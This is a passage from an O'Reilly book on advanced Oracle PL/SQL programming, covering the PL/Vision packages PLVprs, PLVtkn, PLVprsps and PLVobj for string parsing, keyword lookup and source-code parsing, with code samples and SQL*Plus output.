   v_name2 := PLVprs.nth_atomic (stg_in, 3, PLVprs.c_word);
END IF;

10.1.3.5 string procedures

There are two, overloaded versions of the string procedure, which parses a string into its separate atomics. The string procedure is available to users of the PLVprs package; it is also used by programs in the PLVprs package. The display_atomics procedure, for example, calls the string procedure to parse the specified string and then calls PLVtab.display to display the table that contains the parsed atomics.

The headers for the string procedures are:

PROCEDURE string
   (string_in IN VARCHAR2,
    atomics_list_out OUT PLVtab.vc2000_table,
    num_atomics_out IN OUT NUMBER,
    delimiters_in IN VARCHAR2 := std_delimiters);

PROCEDURE string
   (string_in IN VARCHAR2,
    atomics_list_out IN OUT VARCHAR2,
    num_atomics_out IN OUT NUMBER,
    delimiters_in IN VARCHAR2 := std_delimiters);

The first argument is the string to be parsed. The second and third arguments contain the parsed output of the procedure call. The fourth argument allows you to specify an alternative set of delimiter characters.

The table version of string fills a PL/SQL table with the atomics of the string, one atomic per row. The VARCHAR2 version of the string procedure returns the atomics in a string separated by the vertical bar delimiter. This "string version" of string simply calls the table version and then dumps the contents of the table into a string.

10.1.3.6 numinstr function

The numinstr function is a good example of how you can supplement the fine, but finite set of builtin string functions with your own basic and quite reusable functions. The numinstr function returns the number of times a substring appears in a string. Its header is:

FUNCTION numinstr
   (string_in IN VARCHAR2,
    substring_in IN VARCHAR2,
    ignore_case_in IN VARCHAR2 := c_ignore_case)
RETURN INTEGER;

The first argument is the string, the second is the substring, and the third allows you to specify whether you want case to be ignored or respected in the search. The following examples illustrate this flexibility:

SQL> exec p.l (PLVprs.numinstr ('abcabC', 'c'));
2
SQL> exec p.l (PLVprs.numinstr ('abcabC', 'c', PLVprs.c_respect_case));
1

In the following code fragment, I call numinstr to determine the number of placeholders for bind variables in a dynamically constructed SQL string (a placeholder is defined as a colon followed by a PL/SQL identifier, such as :newname or :bindvar1). I then use a numeric FOR loop to issue a call to the BIND_VARIABLE procedure of the builtin DBMS_SQL package for each of the bind variables.

numvars := PLVprs.numinstr (sql_string, ':');
FOR bindvar_ind IN 1 .. numvars
LOOP
   DBMS_SQL.BIND_VARIABLE
     (cur_handle,
      'bindvar' || TO_CHAR (bindvar_ind),
      variables_table (bindvar_in));
END LOOP;

Finding the Best Solution

I believe I am a fairly good PL/SQL programmer. I can churn out hundreds of lines of complicated code that works, more or less, after just a few rounds of revisions. On the other hand, I feel I am also very much open to the possibility that others can and have done better -- and that I can learn from them. None of us has all the answers -- and some of us have more answers than others.

Let me give you an example. In my first book on PL/SQL, Oracle PL/SQL Programming (O'Reilly & Associates), I give every impression that I know what I am talking about -- and a big part of what I talk about is writing concise, high-quality code. In Chapter 11, Character Functions, I take my readers through the exercise of building a function to count the number of times a substring occurs in a string (a function not provided by PL/SQL). I end up with two implementations, the shorter of which is shown in Example 10.1.

Example 10.1: Counting the Frequency of a Substring Within a String

FUNCTION numinstr
   (string_in IN VARCHAR2, substring_in IN VARCHAR2)
RETURN INTEGER
IS
   substring_loc NUMBER;
   return_value NUMBER := 1;
BEGIN
   LOOP
      substring_loc :=
         INSTR (UPPER (string_in),
                UPPER (substring_in), 1, return_value);

      /* Terminate loop when no more occurrences are found. */
      EXIT WHEN substring_loc = 0;

      /* Found match, so add to total and continue. */
      return_value := return_value + 1;
   END LOOP;
   RETURN return_value - 1;
END numinstr;

I was quite content with this function -- until I received an email from Kevin Loney, author of ORACLE DBA Handbook (Oracle Press). This email very politely complimented me on my book and offered an alternative implementation for numinstr -- a simpler, more efficient, and more elegant implementation. As Kevin noted, he came up with this solution before the days of PL/SQL, when all he had to work with was SQL (a set-at-a-time, nonprocedural language). In his approach (shown in Example 10.2), he took advantage of the REPLACE builtin function to substitute NULL for any occurrences of the substring. He could then compare the size of the original string with the "replaced" string and use that as the basis for his calculation.

Example 10.2: Counting the Frequency of a Substring Within a String

FUNCTION numinstr
    (string_in IN VARCHAR2, sub_string_in IN VARCHAR2)
RETURN INTEGER
/* Divide difference of two lengths by length of substring. */
IS
BEGIN
   RETURN
     ((LENGTH (string_in) -
       NVL (LENGTH (REPLACE (string_in, sub_string_in)), 0))
     / LENGTH (sub_string_in));
END;

I felt a wave of embarrassment wash over me for just a moment when I first read Kevin's note. Then I regained sanity. Of course there are better ways of doing things. Discovering and sharing these improvements -- programming altruism -- is one of the finest aspects of our work. And programming humility -- the willingness to accept these improvements -- can make our lives much easier. If you are open to the ideas of others, then you are also open to the idea of using the work of others (with permission!). This means that you will spend much less time coding something that is already available -- you will avoid reinventing the wheel. Kevin's implentation for numinstr (enhanced to ignore or respect case) is now in version I provide in PLVprs.

10.1.4 Wrapping Strings into Paragraphs

How many times have you been confronted with the need to display a long string (defined, essentially, as anything longer than 80 characters) in a format which can be read easily? Unfortunately, PL/SQL does not have any paragraph-wrapping capabilities built into it. All you have is DBMS_OUTPUT.PUT_LINE, which accepts a maximum of 255 characters and is displayed in whatever manner handled by your environment.

PLVprs fills this gap in functionality by providing the following suite of string-wrapping programs:

wrap

Wraps a long string into a series of lines with a maximum specified length, each line of which is stored in consecutive rows in a PL/SQL table.

wrapped_string

Returns a long string wrapped into a series of lines separated by newline characters.

display_wrap

Displays a long string in paragraph-wrapped form at the specified length.

The wrap procedure supplies the core paragraph-wrapping functionality and is called both by wrapped_string and display_wrap. All three programs are described below.

10.1.4.1 wrap procedure

The header for the wrap procedure is:

PROCEDURE wrap
  (text_in IN VARCHAR2,
   line_length IN INTEGER,
   paragraph_out IN OUT PLVtab.vc2000_table,
   num_lines_out IN OUT INTEGER);

The first parameter is the text to be wrapped. The second parameter, line_length, is the length of the line into which the long text is to be wrapped. The paragraph_out argument is the PL/SQL table which will receive the wrapped text (each row, starting from 1, contains a single line of text). The num_lines_out argument contains the number of lines of text that have been placed in paragraph_out.

Examples of PLVprs.wrap are shown in the following sections.

10.1.4.2 display_wrap procedure

The display_wrap procedure comes in handy when you only want to display the end result -- the wrapped string. If you have no need to store that string in a PL/SQL table or a single string variable for further manipulation, call display_wrap. Then you will not have to declare temporary data structures to hold the wrapped text until it is displayed.

PROCEDURE display_wrap
  (text_in IN VARCHAR2,
   line_length IN INTEGER := 80,
   prefix_in IN VARCHAR2 := NULL);

The first parameter, text_in, is the string to be wrapped and then displayed. The second argument, line_length, is the length of the line within which the string is wrapped. The third argument, prefix_in, allows you to specify an optional prefix to display before each line of the wrapped string.

Here is an example of display_wrap:

SQL> exec PLVprs.display_wrap (RPAD ('a string',120,' to remember'),30);
a string to remember to
remember to remember to
remember to remember to
remember to remember to
remember to remember to

The implementation of display_wrap is short and sweet. It calls the wrap procedure to fill up a locally declared PL/SQL table with the wrapped lines of text. It then calls PLVtab.display to display the contents of that table.

The p package of PL/Vision makes use of the display_wrap procedure to automatically wrap long lines of text. As a result, when you call p.l, you don't have to worry about the DBMS_OUTPUT restriction of 255 characters displayed in a string. Instead, it will automatically check the length of the string and wrap the output as shown below:

ELSIF LENGTH (line_in) > 80
THEN
   PLVprs.display_wrap (line_in, 75, NULL);

Now why did I include a third argument of NULL in my call to display_wrap? That (lack of a) value is, after all, the default. I could simply have called display_wrap as follows:

PLVprs.display_wrap (line_in, 75);

and received the same results.

Usually I am a strong advocate of typing only the absolute minimum necessary to get the job done. Have I violated my own guidelines? Not really. I have, in fact, typed exactly what I needed to get the job done. The question you should now ask is: What is my "job" or requirement? I want to display a wrapped string without any prefix. The way I do that is to pass NULL for the prefix; hence, the inclusion of three arguments.

Notice that I did not state my requirement as follows: "I want to display a wrapped string with the default prefix." If that were my desire, I should pass just two arguments. That way, if the default ever changes, my call to display_wrap will automatically adapt to the new value. But in the p.l package I would not want the output from PLVprs.display_wrap to change when the default value changes. I really do want a NULL value, regardless of the actual default value for the display_wrap procedure. In p.l's use of display_wrap, in other words, the fact that the desired prefix (none) is the same as the default is nothing more than a coincidence.

This distinction between needing the default value and happening to match the default value is an important one. If you simply have a coincidence, do not rely on the default value. Instead, pass in the value, even if it is currently the default and not, strictly speaking, needed. Your code will be less likely to break as the underlying layers of code you rely on change.

10.1.4.3 wrapped_string function

The last string-wrapping program is the wrapped_string function. This function returns a string with the wrapped lines of text concatenated together, with newline characters after every wrapped line. The specification for wrapped_string is as follows:

FUNCTION wrapped_string
  (text_in IN VARCHAR2,
   line_length IN INTEGER := 80,
   prefix_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

The first argument, text_in, is the string to be wrapped and then displayed. The second argument, line_length, is the length of the line within which the string is wrapped. The third argument, prefix_in, allows you to specify an optional prefix to display before each line of the wrapped string.

This function is useful in situations (such as that currently found in Oracle Developer/2000 Version 1) where you cannot reference and use PL/SQL tables. The wrapped_string returns the text in a string which can then be immediately displayed in the right format (because of the embedded newline characters) or passed to another program which works with the wrapped text.

Special Notes on PLVprs

Here are some factors to consider when working with PLVprs:

  • PLVprs does not currently recognize many nonprinting characters as delimiters (only newline and tab are in the predefined delimiter lists). If you have, for example, a backspace character in your string, this will not be treated as a delimiter. You can, of course, define your own delimiter list and then pass that set of characters to PLVprs's program.

  • When you wrap a string, all carriage returns are replaced with single characters. Your "hard-coded" line breaks will be ignored in the wrap process.

Previous: 9.6 Implementing load_ from_dbms | Advanced Oracle PL/SQL Programming with Packages | Next: 10.2 PLVtkn: Managing PL/SQL Tokens
9.6 Implementing load_ from_dbms | Book Index | 10.2 PLVtkn: Managing PL/SQL Tokens
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.2 PLVtkn: Managing PL/SQL Tokens

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

10.2 PLVtkn: Managing PL/SQL Tokens

The PLVtkn (PL/Vision ToKeN) package determines whether an identifier is a PL/SQL keyword. It does this by using a token table containing these keywords.

Every PL/SQL program is filled with identifiers. Identifiers are named PL/SQL language elements and include variable names, program names, and reserved words. Reserved words play a very different role in our programs than do the application-specific identifiers. I recommend strongly in Oracle PL/SQL Programming that you reflect these different roles in your program by using the UPPER-lower method: all reserved words are typed in UPPER case and all application-specific identifiers are typed in lower case. I even go so far, in PL/Vision, as to provide you with a package (PLVcase) which will automatically convert your programs to the UPPER-lower method.

10.2.1 Keeping Track of PL/SQL Keywords

Well, if PLVcase is going to uppercase only keywords, it has to know which identifiers in a PL/SQL program are the reserved words. This information is maintained in the PLV_token table, which has the following structure:

 Name                            Null?    Type
 ------------------------------- -------- ----
 TOKEN                           NOT NULL VARCHAR2(100)
 TOKEN_TYPE                               VARCHAR2(10)

where the token column is the identifier and token_type indicates the type.

The different token types in the PLV_token table are stored in the PLV_token_type table, which has this structure:

 Name                            Null?    Type
 ------------------------------- -------- ----
 TOKEN_TYPE                               VARCHAR2(10)
 NAME                            NOT NULL VARCHAR2(100)

The contents of the PLV_token_type are explained in the following table:

Token Type | Name | Description
B | BUILT-IN | Builtin functions and procedures of the PL/SQL language, including packaged builtins.
D | DATATYPE | Different datatypes of the PL/SQL language, such as INTEGER and VARCHAR2.
DD | DATA-DICTIONARY | Views and tables from the Oracle Server data dictionary, such as ALL_SOURCE and DUAL.
E | EXCEPTION | Predefined system exceptions such as ZERO_DIVIDE.
OF | ORACLE-FORMS | Reserved words from the Oracle Forms product set
S | SYMBOL | Symbols like + and =.
SQL | SQL | Elements of the SQL language. In many cases, SQL tokens are used in PL/SQL and also in Oracle Developer/2000. These are still listed as SQL tokens.
X | SYNTAX | Syntax elements of the PL/SQL language, such as AND or LIKE.

There is a row in PLV_token for each reserved word in PL/SQL. You can change the contents of this table if you want. You might, for example, want to add keywords for the Oracle Developer/2000 builtins or the Oracle Web Agent PL/SQL packages. You can even add your own application-specific identifiers to the table. As long as the token type you assign is not any of those listed above, PL/Vision will not misinterpret your entries.

There are currently 1,235 rows in the PLV_token table, broken down by token type as follows:

Token Type | Count
BUILT-IN | 198
DATATYPE | 22
DATA-DICTIONARY | 168
EXCEPTION | 15
ORACLE-FORMS | 623
SYMBOL | 32
SQL | 94
SYNTAX | 83

From the PL/SQL side of things, the PLVtkn package provides an interface to the PLV_token table. This package is used by PLVcase to determine the case of an individual token according to the UPPER-lower method.

As you will soon see, PLVtkn is not a particularly large or complicated package. Its purpose in life is to consolidate all of the logic having to do with individual PL/SQL tokens, particularly regarding keywords. By hiding the implementation details (the name and structure of the PLV_token table, the particular values used to denote a symbol or syntax element or builtin function), PLVtkn makes it easier for developers to apply this information in their own programs.

10.2.2 Determining Token Type

PLVtkn provides a set of functions you can use to determine a string's token type in PL/SQL. The headers for these functions are shown below:

FUNCTION is_keyword
   (token_in IN VARCHAR2, type_in IN VARCHAR2 := c_any) RETURN BOOLEAN;

FUNCTION is_syntax (token_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_builtin (token_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_symbol (token_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_datatype (token_in IN VARCHAR2) RETURN BOOLEAN;
FUNCTION is_exception (token_in IN VARCHAR2) RETURN BOOLEAN;

All of the functions except for is_keyword take a single string argument and return TRUE if the string is that type of token. The following examples illustrate the way the PLVtkn functions interpret various strings:

SQL> exec p.l(PLVtkn.is_builtin('to_char'));
TRUE
SQL> exec p.l(PLVtkn.is_builtin('loop'));
FALSE
SQL> exec p.l(PLVtkn.is_syntax('loop'));
TRUE
SQL> exec p.l(PLVtkn.is_syntax('='));
FALSE
SQL> exec p.l(PLVtkn.is_symbol('='));
TRUE

10.2.2.1 Generic keyword checking

The is_keyword function is a more general-purpose function. It returns TRUE if the token is a keyword of the type specified by the second argument. The default value for this second parameter is PLVprs.c_any, which means that is_keyword will return TRUE if the specified token is any kind of keyword.

PLVcase uses the is_keyword to determine whether the token should be upper- or lowercase. When applying the UPPER-lower method, it doesn't matter if the token is a builtin function or a syntax element, such as the END statement. All such keywords must be uppercase. Here is the code from the PLVcase.token procedure which performs the actual conversion:

IF PLVtkn.is_keyword (v_token)
THEN
  v_token := UPPER (v_token);
ELSE
  v_token := LOWER (v_token);
END IF;

To keep code volume in PLVtkn to an absolute minimum and eliminate redundancy, I implement all of the "specialized" is functions (is_builtin, is_syntax, etc.) with a call to is_keyword, as shown below:

FUNCTION is_symbol (token_in IN VARCHAR2)
   RETURN BOOLEAN
IS
BEGIN
   RETURN (is_keyword (token_in, c_symbol));
END;

10.2.3 Retrieving Information About a Token

You will use the get_keyword procedure to retrieve from the PLV_token table all information stored about a particular token. The header of this procedure is:

   PROCEDURE get_keyword (token_in IN VARCHAR2, kw OUT kw_rectype);

You provide the token or string and get_keyword returns a PL/SQL record, which is a translated version of the row in the table. The translation generally involves converting string constants to Boolean values. For example, one of the record's fields is named is_keyword. The expression assigned to this Boolean field is:

   kw.is_keyword :=
      kw_rec.token_type IN
         (c_syntax, c_builtin, c_symbol,
          c_sql, c_datatype, c_datadict, c_exception);

where kw_rec is the cursor-based record into which the PLV_token row is fetched.

The anonymous block below shows how to use get_keyword. It accepts a string from the user of this script (plvtkn.tst), retrieves the information about that string (as a token), and displays some of the data.

DECLARE
   my_kw PLVtkn.kw_rectype;
BEGIN
   PLVtkn.get_keyword ('&1', my_kw);
   p.l (my_kw.token_type);
   p.l (my_kw.is_keyword);
END;
/

The lines below show this script being executed for the THEN keyword.

SQL> @plvtkn.tst then
X
TRUE

Special Notes on PLVtkn

PLVtkn recognizes keywords defined in the Oracle Forms tool, but does not recognize reserved words in Oracle Reports, Oracle Graphics, or Oracle Developer/2000 that are not listed specifically as reserved words in Oracle Forms.

Previous: 10.1 PLVprs: Useful String Parsing Extensions | Advanced Oracle PL/SQL Programming with Packages | Next: 10.3 PLVprsps: Parsing PL/SQL Strings
10.1 PLVprs: Useful String Parsing Extensions | Book Index | 10.3 PLVprsps: Parsing PL/SQL Strings
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 10] 10.3 PLVprsps: Parsing PL/SQL Strings

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

10.3 PLVprsps: Parsing PL/SQL Strings

The PLVprsps (PL/Vision PaRSe) PL/SQL package builds upon all the other string parsing and analyzing packages to provide easy-to-use, high-level programs to parse PL/SQL strings and programs. The parsed output is passed back into a PL/SQL table you provide in your calls to PLVprs modules. You can then work with the contents of the PL/SQL table as you see fit.

This parsing process separates PL/SQL code into individual atomics, which can then be used for any of the following purposes:

  • Analyze the contents of a PL/SQL program. What programs are defined in the package? Are any variables not being used?

  • Reformat or pretty-print the PL/SQL program. Once the atomics are separated, you can put them back together however you want and end up with the same program (as long as you preserve the order of the atomics).

The PLVprsps package offers several different levels of parsing programs (parse a string, parse a line, parse a program). With PLVprsps, you can also specify precisely which type of language elements you want to return in your parse.

The following sections show how to use the different elements of PLVprsps.

10.3.1 Selecting Token Types for Parsing

One of the users of PLVprsps is the PLVcat package (described in Chapter 18, PLVcase and PLVcat: Converting and Analyzing PL/SQL Code), which catalogues the contents and usage of PL/SQL program units. You could ask, for example, to generate a list of those builtins which are used by a particular program. Or you could request to see only those nonkeyword references, which would give you the list of all application-specific identifiers in your code.

The way PLVcat is able to offer this flexibility is by offering you the ability in PLVprsps to request that the output from a call to the parsing programs (plsql_string or module) return only certain kinds of tokens. The different types currently recognized by PLVprsps are:

  • Any keywords

  • Builtin functions, procedures, and packages

  • Application-specific identifiers (non-keyword identifiers)

  • All tokens

For each of these token types, PLVprsps offers toggles so that you direct the package to keep only the tokens in which you are interested. These are the "keep" and "nokeep" programs. The headers for these programs are:

PROCEDURE keep_all;
PROCEDURE keep_kw;
PROCEDURE keep_nonkw;
PROCEDURE keep_bi;

PROCEDURE nokeep_all;
PROCEDURE nokeep_kw;
PROCEDURE nokeep_nonkw;
PROCEDURE nokeep_bi;

So if I wanted to keep builtins and non-keywords when I perform my parse, I would issue these two calls:

PLVprsps.keep_nonkw;
PLVprsps.keep_bi;

All keywords which are not builtins would, therefore, be discarded in the parse. You would not see such atomics as IF and =.

If, on the other hand, I want to obtain all non-keywords, but reject all keywords in the parse, I would call these two programs:

PLVprsps.keep_nonkw;
PLVprsps.nokeep_kw;

10.3.2 Parsing PL/SQL Code

PLVprsps offers two programs for PL/SQL source code parsing: plsql_string and module. The plsql_string procedure parses the string passed to it. The module procedure parses all the lines of code for a specified program -- by calling the plsql_string program for each line in that program. Both of these programs are explained below.

10.3.2.1 plsql_string procedure

The header for plsql_string is:

PROCEDURE plsql_string
   (line_in IN VARCHAR2,
    tokens_out IN OUT PLVtab.vc2000_table,
    num_tokens_out IN OUT INTEGER,
    in_multiline_comment_out IN OUT BOOLEAN);

The line_in argument is the line of code to be parsed. The tokens_out PL/SQL table holds the distinct tokens found in the line. The num_tokens_out argument indicates the number of tokens found and in the PL/SQL table. The in_multiline_comment_out argument returns TRUE if the line of code has initiated or is part of a multiline comment block. You should initialize this IN OUT argument to FALSE to make sure that the parsing is performed as expected.

Comments are not considered atomics for the purposes of parsing. The comment text is parsed but never written to the PL/SQL table. For this reason, all of the following strings will be parsed into precisely the same set of tokens:

v_err := 'ORA-' || TO_CHAR (SQLERRM);
v_err := 'ORA-' || /* Concatenate! */ TO_CHAR (SQLERRM);
/* ASSIGN VALUE */ v_err := 'ORA-' || TO_CHAR (SQLERRM);
*/ v_err := 'ORA-' || TO_CHAR (SQLERRM);
v_err := 'ORA-' || TO_CHAR (SQLERRM); -- end of line

In all of these cases, the last argument of plsql_string will be returned as FALSE. The same set of tokens will be returned with the following string as well, but in this case the last argument of plsql_string will be returned as TRUE since a multiline comment block has been started:

v_err := 'ORA-' || TO_CHAR (SQLERRM); /* big comment coming:

10.3.2.2 Script to test plsql_string

The anonymous block shown below (and found in file PLVprsps.tst) illustrates how to set up variables and then call the plsql_string program. It also uses PLVtab.display to easily show the contents of my PL/SQL table of tokens.

DECLARE
   full_string VARCHAR2(100)
       := 'v_err := ''ORA-'' || TO_CHAR (SQLERRM)';
   strings PLVtab.vc2000_table;
   num INTEGER := 1;
   incmnt BOOLEAN := FALSE;
BEGIN
   p.l (full_string);
   PLVprsps.plsql_string (full_string, strings, num, incmnt);
   PLVtab.display (strings, num);
   p.l (incmnt);
END;
/

Here are the results from an execution of the test script:

SQL> start PLVprsps.tst
v_err := 'ORA-' || TO_CHAR (SQLERRM)
Contents of Table
v_err
:=
'ORA-'
||
TO_CHAR
(
SQLERRM
)
FALSE

10.3.2.3 module procedure

Use PLVprsps.module to parse an entire module or PL/SQL program unit. The module procedure is overloaded in the following two versions:

PROCEDURE module
   (module_in IN VARCHAR2 := NULL,
    tokens_out IN OUT PLVtab.vc2000_table,
    num_tokens_out IN OUT INTEGER);

PROCEDURE module
   (tokens_out IN OUT PLVtab.vc2000_table,
    num_tokens_out IN OUT INTEGER);

In the first version, you provide the name of the module that you wish to parse and the data structures that will be filled with the parsed tokens: a PL/SQL table and a count of the rows filled. In the second version, you simply supply the PL/SQL table and the variable to hold the number of tokens. This version of module assumes that you have already set the current object with a call to PLVobj.setcurr.

The three-argument version of module simply calls the two-argument version as shown below:

PROCEDURE module
   (module_in IN VARCHAR2 := NULL,
    tokens_out IN OUT PLVtab.vc2000_table,
    num_tokens_out IN OUT INTEGER)
IS
BEGIN
   PLVobj.setcurr (module_in);
   module (tokens_out, num_tokens_out);
END;

10.3.2.4 Implementing a module parser

The two-argument version of PLVprsps.module that assumes that the object has already been set is not much more complex than the one you see above. The reason that it is so straightforward is that it relies on the plsql_string program to parse each line of code. And it gets those lines of code by using the PLVio package. The implementation of module is shown below:

PROCEDURE module
   (tokens_out IN OUT PLVtab.vc2000_table,
    num_tokens_out IN OUT INTEGER)
IS
   srcline PLVio.line_type;
   in_multiline_comment BOOLEAN := FALSE;
BEGIN
   init_table (tokens_out, num_tokens_out);
   PLVio.asrc;
   LOOP
      PLVio.get_line (srcline);
      EXIT WHEN srcline.eof;
      plsql_string
         (srcline.text, tokens_out, num_tokens_out,
          in_multiline_comment);
   END LOOP;
END;

In the declaration section of the procedure, I declare a record to hold the line of code extracted with a call to the PLVio.get_line procedure. I also declare a Boolean variable, which is required for a call to plsql_string.

In the body of the procedure I first initialize the table that will hold the parsed tokens. Then I request reading of the source code from the ALL_SOURCE data dictionary view. Since I am going to read all of the lines of code in the specified program (assumed to be the current object in PLVobj), my call to PLVio.asrc does not have any arguments.

Now all I have to do is loop through the lines of code using the PLVio.get_line procedure. If I have not reached "end of file," I parse that string. Notice that I do not have to manually add the new parsed tokens to my table. The plsql_string program automatically places the new tokens in the rows after the current value of the num_tokens_out variable (that is why the third argument of plsql_string is an IN OUT parameter).

It is amazing how easy it can be to implement complex new functionality when you build upon preexisting elements.

10.3.3 Initializing a Table of Tokens

PLVprsps provides a program to initialize the PL/SQL table and row counter you will use to store parsed tokens. It is called by the module program; its header is shown below:

PROCEDURE init_table
   (tokens_out IN OUT PLVtab.vc2000_table,
    num_tokens_out IN OUT INTEGER);

At this time the init_table procedure does nothing more than assign an empty table to the PL/SQL table argument passed to it and set the row counter to 0.

Why bother building a program like init_table? There are two good reasons:

  • By hiding this logic behind a programmatic interface, I make it easier to enhance this initialization process if the need arises in the future. If I rely on users to prepare the PL/SQL table to receive the parsed tokens, it will be very difficult for them to upgrade their own code to meet the new requirements of my package.

  • If the user can call init_table, she does not have to worry about the specific steps necessary to prepare the PL/SQL table. The individual steps are abstracted into a named action and taken care of by PLVprsps itself.

The init_table procedure is a gesture of respect for the users of PLVprsps. You don't have time to worry about insignificant details. Furthermore, you are much more likely to use PLVprsps if I offer this kind of feature.

10.3.4 Using PLVprsps

To give you a sense of how PLVprsps breaks apart PL/SQL code, let's see what it does with the following package body:

PACKAGE BODY testcase
IS
   PROCEDURE save (string_in IN VARCHAR2)
   IS
      n INTEGER := DBMS_SQL.OPEN_CURSOR;
   BEGIN
      UPDATE PLV_output SET program = string_in;
      IF SQL%ROWCOUNT = 0
      THEN
         INSERT INTO PLV_output VALUES (string_in);
      END IF;
      PLVcmt.perform_commit;
   END;
END testcase;

This program has calls to builtins, as well as application-specific identifiers. Now take a look at the following script (found in modprs.sql). It takes two SQL*Plus arguments: the name of the program to be parsed and the type of tokens to retain and then display:

DECLARE
   strings PLVtab.vc2000_table;
   num INTEGER := 1;
BEGIN
   PLVprsps.nokeep_all;
   PLVprsps.keep_&2;
   PLVprsps.module ('&1', strings, num);
   PLVtab.display (strings, num);
END;
/

Let's take a look at the output generated by different calls to this script. The first call to modprs requests the parse to display only builtins. The second call shows all those identifiers which are not keywords in the PL/SQL language.

SQL> start modprs b:testcase bi
Contents of Table
DBMS_SQL.OPEN_CURSOR
UPDATE
ROWCOUNT
INSERT

SQL> start modprs b:testcase nonkw
Contents of Table
testcase
save
string_in
n
PLV_output
program
string_in
PLV_output
string_in
PLVcmt.perform_commit
testcase

Special Notes on PLVprsps

The current version always reads source code from the ALL_SOURCE data dictionary view. You cannot, in other words, parse PL/SQL code from operating system files (in PL/Vision Lite).

Previous: 10.2 PLVtkn: Managing PL/SQL Tokens | Advanced Oracle PL/SQL Programming with Packages | Next: 11. PLVobj: A Packaged Interface to ALL_OBJECTS
10.2 PLVtkn: Managing PL/SQL Tokens | Book Index | 11. PLVobj: A Packaged Interface to ALL_OBJECTS
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 11] PLVobj: A Packaged Interface to ALL_OBJECTS

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book
Previous: 10.3 PLVprsps: Parsing PL/SQL Strings Chapter 11 Next: 11.2 ALL_OBJECTS View

11. PLVobj: A Packaged Interface to ALL_OBJECTS

Contents:
Why PLVobj?
ALL_OBJECTS View
Setting the Current Object
Accessing ALL_OBJECTS
Binding Objects to a Dynamic Cursor
Populating a PL/SQL Table with Object Names
A Programmatic Cursor FOR Loop
Tracing PLVobj Activity

The PLVobj (PL/Vision OBJect) package provides a programmatic interface to the PL/SQL objects stored in the ALL_OBJECTS data dictionary view. It is used throughout PL/Vision in two ways:

  • To parse and manage a "current object," which is composed of the schema, name, and type of the object. The PLVobj package handles the complexity of parsing various versions of the current object specification. It also uses NAME_RESOLVE to locate the object you specify in the data dictionary.

  • To easily fetch objects from the ALL_OBJECTS view. With the programmatic interface between you and the ALL_OBJECTS view, you never have to explicitly open, fetch from, or close a cursor against this view in order to retrieve object information. Instead, you call PL/SQL programs which do the job for you.

PLVobj offers some excellent lessons in how to use packages to:

  • Hide implementational and data structure details from developers who don't want or need to deal with that level of detail.

  • Use the persistent characteristic of packaged variables to implement a current object that can be used in many different programs and circumstances.

  • Provide a comprehensive procedural interface to a cursor. This includes the loopexec program, which simulates a cursor FOR loop against the cursor.

The PLVobj package is not a flashy piece of software. It isn't anything end users or even developer users will ever really see. It is, however, a very useful low-level building-block component for developers who work with this data dictionary view and who may want to build similar interfaces to other predefined views.

11.1 Why PLVobj?

PL/Vision contains a number of utilities which analyze and manipulate the contents of data dictionary views containing PL/SQL code source text. These utilities convert the case of a PL/SQL program, analyze which external programs and package elements a program references, display stored source code, show compiler errors, etc. In each of these cases I needed to take the same or similar actions again and again:

  • Accept a string from the user that specifies the program unit he wants the package to work with. Convert it to the owner-name-type information I need to use when working with the data dictionary views.

  • Fetch rows from one or more data dictionary views based on the program unit specified.

I would like to be able to say that as I began writing my first source-related utility I instantly recognized the need to create a package like PLVobj. The truth is that my first read of the situation was that it was very easy to define a cursor against USER_OBJECTS and get what I needed for my package. So I just started hacking away. I built the first version of my program and got it working. And then I started on my next utility. Suddenly I was confronted with having to write the same (or very similar) kind of code again. I was troubled by the redundancy. Still, it was pretty simple stuff, so I went ahead with the duplication of code. I got that second utility to work as well. Then I sent the packages to one of my devoted beta testers. He installed them in a networked environment under a common user and told his developers to try them out.

Neither utility worked. At all. It didn't take too long to figure out why. In my own, intimate development and testing environment, everything existed in the same Oracle account. In the beta environment the utilities were installed in a single account and then shared by all. My naive reliance on the USER_OBJECTS data dictionary view doomed the utilities. I needed instead to use the ALL_OBJECTS view. This meant that I also needed to provide a schema or owner to the cursor. Suddenly I had to perform less-than-trivial enhancements to two different programs.

At this point, I came to my senses. I needed to consolidate all of this logic, all code relating to the objects data dictionary view, into a single location -- a package. I could not afford, in terms of productivity and code quality, to have code redundancy. As you begin to use new data structures or develop a new technique the first time, it is sometimes difficult to justify cleaving off the code to its own repository or package. When you get to needing it the second time, however, there should be no excuses. Avoid with fanatical determination any redundancies in your application code.

And so PLVobj was born. Of course, the version I share with you is very different from the first, second, third, and fourth versions of the package. Believe me, it has changed a lot over a four-month period. I seem to come across new complexities every week. (For example, a module name is not always in upper case; you can create program units whose names have lowercase letters if you enclose the name in double quotes.)

The PLVobj package offers functionality in several areas:

  • Set and view the "current object" maintained inside the package.

  • Access a cursor into the ALL_OBJECTS view, providing a full range of cursor-based functionality through PL/SQL procedures and functions.

  • Trace the actions of the package.

The elements available in PLVobj are described in the following sections. Before diving into the programs, however, let's review the ALL_OBJECTS view.

Previous: 10.3 PLVprsps: Parsing PL/SQL Strings | Advanced Oracle PL/SQL Programming with Packages | Next: 11.2 ALL_OBJECTS View
